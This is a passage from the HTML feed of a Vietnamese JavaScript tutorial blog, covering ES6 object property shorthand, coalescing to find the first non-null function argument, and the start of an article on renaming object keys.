href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">Object.getOwnPropertyNames()</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify()</a>.</li> <li>Symbol chủ yếu được sử dụng để đảm bảo <strong>tính riêng tư</strong>. Nhưng các phương thức như <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">Object.getOwnPropertySymbols()</a> trả về một mảng các key kiểu Symbol và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys">Reflect.ownKeys()</a> trả về một mảng tất cả các key, bao gồm cả symbol.</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="/tim-hieu-ve-symbol-trong-javascript/">Symbol trong JavaScript</a></li> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/motivation-to-bring-symbols-in-es6/">Motivation to bring symbols in ES6</a></li> </ul>[email protected]<![CDATA[Viết tắt giá trị thuộc tính đối tượng trong JavaScript]]><![CDATA[Đối tượng trong JavaScript là kiểu dữ liệu quan trọng nhất xây dựng lên JavaScript hiện đại. Đối tượng hoàn toàn khác với các kiểu dữ liệu nguyên thủy (số, chuỗi, boolean, null…]]>https://completejavascript.com/viet-tat-gia-tri-thuoc-tinh-doi-tuong-javascript/https://completejavascript.com/viet-tat-gia-tri-thuoc-tinh-doi-tuong-javascript/<![CDATA[Câu hỏi JS ES6]]>Tue, 10 May 2022 20:30:00 GMT<p>Đối tượng trong JavaScript là kiểu dữ liệu quan trọng nhất xây dựng lên JavaScript hiện đại.</p> <p>Đối tượng hoàn toàn khác với các kiểu dữ liệu nguyên thủy (số, chuỗi, boolean, <code>null</code>, <code>undefined</code> và symbol) vì các kiểu dữ liệu nguyên thủy đều lưu trữ một giá trị duy nhất mỗi loại. Còn object là kiểu dữ liệu tham chiếu - với giá trị là các cặp <strong>key-value</strong>.</p> <p>Cú pháp viết tắt cho giá trị thuộc tính đối tượng rất phổ biến và được sử dụng rộng rãi hiện nay. Với cách viết này, mã nguồn trông sẽ <strong>gọn gàng và dễ đọc hơn</strong>.</p> <p>Ví dụ sau hiển thị chi tiết của đối tượng bằng cách <strong>sử dụng cú pháp viết tắt</strong> cho giá trị thuộc tính đối tượng trong ES6:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">29</span><span class="token punctuation">;</span> <span class="token comment">// Có sử dụng cú pháp rút gọn trong ES6</span> <span class="token keyword">const</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> name<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> age<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: 'Alex', age: 29}</span></code></pre></div> <p>Ví dụ sau hiển thị chi tiết của đối tượng mà <strong>không sử dụng cú pháp viết tắt</strong> cho giá trị thuộc tính đối tượng.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">29</span><span class="token punctuation">;</span> <span class="token comment">// Không sử dụng cú pháp rút gọn</span> <span class="token keyword">const</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">name</span><span class="token operator">:</span> name<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">age</span><span class="token operator">:</span> age<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: 'Alex', age: 29}</span></code></pre></div> <p>Như bạn thấy rằng, khi sử dụng cú pháp rút gọn, mã nguồn của bạn đã tránh việc bị lặp lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token literal-property property">name</span><span class="token operator">:</span> name<span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> age<span class="token punctuation">,</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/shorthand-syntax-for-object-property-value-in-es6/">Shorthand Syntax for Object Property Value in ES6</a></li> </ul>[email protected]<![CDATA[Lấy đối số xác định đầu tiên của hàm trong JavaScript]]><![CDATA[Có nhiều trường hợp bạn cần tìm ra đối số không null hoặc không undefined đầu tiên được truyền vào một hàm. Điều này được gọi là coalescing. Cách 1: trước khi có ES6 Bạn có thể…]]>https://completejavascript.com/lay-doi-so-xac-dinh-dau-tien-cua-ham-trong-javascript/https://completejavascript.com/lay-doi-so-xac-dinh-dau-tien-cua-ham-trong-javascript/<![CDATA[Câu hỏi JS ES6]]>Mon, 09 May 2022 22:21:00 GMT<p>Có nhiều trường hợp bạn cần tìm ra <strong>đối số không null</strong> hoặc <strong>không <code>undefined</code> đầu tiên</strong> được truyền vào một hàm. Điều này được gọi là <strong>coalescing</strong>.</p> <h2 id="cách-1-trước-khi-có-es6" style="position:relative;"><a href="#c%C3%A1ch-1-tr%C6%B0%E1%BB%9Bc-khi-c%C3%B3-es6" aria-label="cách 1 trước khi có es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 1: trước khi có ES6</h2> <p>Bạn có thể triển khai <strong>coalescing</strong> trong JavaScript trước khi có ES6 bằng cách lặp qua các đối số từ đối tượng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a> và kiểm tra đối số nào khác <code>null</code> thì trả về ngay lập tức và thoát khỏi hàm.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">coalesce</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">coalesce</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token string">"First"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "First"</span></code></pre></div> <h2 id="cách-2-sử-dụng-es6" style="position:relative;"><a href="#c%C3%A1ch-2-s%E1%BB%AD-d%E1%BB%A5ng-es6" aria-label="cách 2 sử dụng es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 2: sử dụng ES6</h2> <p>Bạn có thể sử dụng ES6 thay cho cách làm trên để đạt được hiệu quả tương tự. Đó là sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest Parameters</a> trong ES6.</p> <p>Cụ thể, bạn thu thập tất cả các đối số trong đối tượng <code>args</code> - <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a>.</p> <p>Sau đó, bạn sử dụng phương thức <a href="/phuong-thuc-cua-mang-trong-javascript/"><code>array.find</code></a> để tìm phần tử đầu tiên thỏa mãn điều kiện.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">coalesceES6</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Tìm phần tử đầu tiên không thuộc mảng [null, undefined]</span> <span class="token keyword">return</span> args<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span><span class="token punctuation">[</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">coalesceES6</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token string">"First"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// First</span></code></pre></div> <h2 id="các-trường-hợp-sử-dụng-của-coalescing" style="position:relative;"><a href="#c%C3%A1c-tr%C6%B0%E1%BB%9Dng-h%E1%BB%A3p-s%E1%BB%AD-d%E1%BB%A5ng-c%E1%BB%A7a-coalescing" aria-label="các trường hợp sử dụng của coalescing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các trường hợp sử dụng của Coalescing</h2> <p>Bây giờ, bạn đã biết cách triển khai <strong>Coalesce</strong>. Sau đây là một số trường hợp sử dụng trong thực tế.</p> <h3 id="trường-hợp-1" style="position:relative;"><a href="#tr%C6%B0%E1%BB%9Dng-h%E1%BB%A3p-1" aria-label="trường hợp 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trường hợp 1</h3> <p>Thay thế giá trị cho <code>null</code> hoặc <code>undefined</code> trong một mảng đối tượng.</p> <p><strong>Ví dụ:</strong> bạn có danh mục sản phẩm với một danh sách. Mỗi sản phẩm có <strong>mô tả</strong> và <strong>tóm tắt</strong>.</p> <p>Bạn muốn hiển thị các mô tả và tóm tắt bằng cách lấy dữ liệu ra từ cơ sở dữ liệu này. Trong trường hợp như vậy, bạn có thể sử dụng <strong>Coalescing</strong> với hai đối số là: <strong>giá trị tóm tắt</strong> và <strong>giá trị mô tả bị cắt bớt</strong> để thay thế khi <strong>phần tóm tắt</strong> không có.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> products <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">desc</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">The best in class toaster that has 140 watt power consumption with nice features that roast your bread just fine. Also comes bundled in a nice cute case.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">summ</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Get world class breakfasts</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">desc</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">A massager that relieves all your pains without the hassles of charging it daily or even hourly as it comes packed with Li-Ion batteries that last upto 8 hrs.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">summ</span><span class="token operator">:</span> <span class="token string">"Warm comfort for your back"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">desc</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">An air conditioner with a difference that not only cools your room to the best temperatures but also provides cleanliness and disinfection at best in class standards</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">summ</span><span class="token operator">:</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">coalesceES6</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> args<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span><span class="token punctuation">[</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">displayProdCat</span><span class="token punctuation">(</span><span class="token parameter">products</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> product <span class="token keyword">of</span> products<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">ID = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>id<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Description = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>desc<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> summProd <span class="token operator">=</span> <span class="token function">coalesceES6</span><span class="token punctuation">(</span>product<span class="token punctuation">.</span>summ<span class="token punctuation">,</span> product<span class="token punctuation">.</span>desc<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Summary = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>summProd<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">displayProdCat</span><span class="token punctuation">(</span>products<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Kết quả:</strong> với <strong>Coalescing</strong>, nếu giá trị của phần tóm tắt <code>summ</code> tồn tại thì nó sẽ được hiển thị.</p> <p>Trong trường hợp phần tóm tắt bị thiếu (<code>null</code> hoặc <code>undefined</code>), hàm <code>coalesceES6</code> sẽ chọn đối số thứ hai và hiển thị mô tả <code>desc</code> bị cắt ngắn.</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">ID = 1 Description = The best in class toaster that has 140 watt power consumption with nice features that roast your bread just fine. Also comes bundled in a nice cute case. Summary = Get world class breakfasts ID = 2 Description = A massager that relieves all your pains without the hassles of charging it daily or even hourly as it comes packed with Li-Ion batteries that last upto 8 hrs. Summary = Warm comfort for your back ID = 3 Description = An air conditioner with a difference that not only cools your room to the best temperatures but also provides cleanliness and disinfection at best in class standards Summary = An air conditioner with a difference that not ...</code></pre></div> <h3 id="trường-hợp-sử-dụng-2" style="position:relative;"><a href="#tr%C6%B0%E1%BB%9Dng-h%E1%BB%A3p-s%E1%BB%AD-d%E1%BB%A5ng-2" aria-label="trường hợp sử dụng 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trường hợp sử dụng 2</h3> <p>Thay giá trị trong trường hợp thiếu giá trị số trong biểu thức để thực hiện tính toán.</p> <p><strong>Ví dụ:</strong> bạn có một mảng thu nhập hàng tháng trong một năm với một vài giá trị bị thiếu. Bây giờ, bạn muốn tìm tổng thu nhập hàng năm. Bạn quyết định thay thế giá trị mặc định là <code>1000</code> cho những tháng thiếu dữ liệu.</p> <p>Bạn áp dụng phương thức <code>reduce</code> trên mảng dữ liệu hàng tháng. Bạn lưu trữ tổng của mỗi lần lặp lại trong bộ tích lũy với sự thay đổi.</p> <p>Bạn cũng áp dụng <strong>coalescing</strong> với thu nhập hàng tháng và giá trị mặc định (nếu thu nhập hàng tháng là rỗng hoặc không xác định) để đưa kết quả vào bộ tích lũy.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> incomeFigures <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token keyword">default</span><span class="token operator">:</span> <span class="token number">1000</span><span class="token punctuation">,</span> <span class="token literal-property property">monthWise</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">1200</span><span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token number">600</span><span class="token punctuation">,</span> <span class="token number">2100</span><span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token number">329</span><span class="token punctuation">,</span> <span class="token number">1490</span><span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token number">780</span><span class="token punctuation">,</span> <span class="token number">980</span><span class="token punctuation">,</span> <span class="token punctuation">,</span> <span class="token number">1210</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">coalesceES6</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> args<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span><span class="token punctuation">[</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">yearlyIncome</span><span class="token punctuation">(</span><span class="token parameter">incomeFig</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> incomeFig<span class="token punctuation">.</span>monthWise<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">total<span class="token punctuation">,</span> inc</span><span class="token punctuation">)</span> <span class="token operator">=></span> total <span class="token operator">+</span> <span class="token function">coalesceES6</span><span class="token punctuation">(</span>inc<span class="token punctuation">,</span> incomeFig<span class="token punctuation">.</span>default<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Yearly income equals </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">yearlyIncome</span><span class="token punctuation">(</span>incomeFigures<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Yearly income equals 8689</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> <li><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function là gì? Arrow function trong JS</a></li> <li><a href="/toan-tu-nullish-coalescing-trong-javascript/">Toán tử Nullish Coalescing (??) trong JS</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-get-the-first-non-null-undefined-argument-in-javascript/">How to get the first non-null/undefined argument in JavaScript?</a></li> </ul>[email protected]<![CDATA[Thay tên các thuộc tính trong object JavaScript]]><![CDATA[Bài viết sau giới thiệu một số cách để thay tên các thuộc tính trong object JavaScript với các giá trị cho trước. Bài toán Cho trước một đối tượng chứa các cặp key-value khác nhau…]]>https://completejavascript.com/thay-ten-cac-thuoc-tinh-trong-object-javascript/https://completejavascript.com/thay-ten-cac-thuoc-tinh-trong-object-javascript/<![CDATA[Câu hỏi JS ES6]]>Mon, 09 May 2022 21:41:00 GMT<p>Bài viết sau giới thiệu một số cách để thay tên các thuộc tính trong object JavaScript với các giá trị cho trước.</p> <h2 id="bài-toán" style="position:relative;"><a href="#b%C3%A0i-to%C3%A1n" aria-label="bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài toán</h2> <p>Cho trước một đối tượng chứa các cặp <strong>key-value</strong> khác nhau. Trong đó, <code>key</code> là thuộc tính và <code>value</code> là giá trị của thuộc tính.</p> <p>Bạn cần thay đổi một hoặc nhiều tên ban đầu của <strong>key</strong> bằng tên mới.</p> <p>Ví dụ, ban đầu đối tượng chứa các cặp <strong>key-value</strong> như <code>name: "Hello"</code>, v.v. Và mình cần thay đổi thuộc tính <code>name</code> thành <code>firstName</code>.</p> <p>Trước khi đi vào các hướng giải quyết, mình hãy khai báo đối tượng sẽ sử dụng cho bài toán trên như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> object <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"Male"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { name: 'Hello', age: 20, gender: 'Male' }</span></code></pre></div> <p>Sau đây, hãy xem các cách để giải quyết vấn đề đã nêu trên.</p> <h2 id="cách-1" style="position:relative;"><a href="#c%C3%A1ch-1" aria-label="cách 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 1</h2> <p>Đây là cách tiếp cận khá đơn giản.</p> <p>Trong cách này, mình sẽ trực tiếp lấy giá trị của <code>name</code> rồi thay đổi tên của thuộc tính đó bằng tên mới. Sau đó, mình xóa tên đã khai báo trước đó và thay thế bằng tên mới.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> object <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"Male"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span 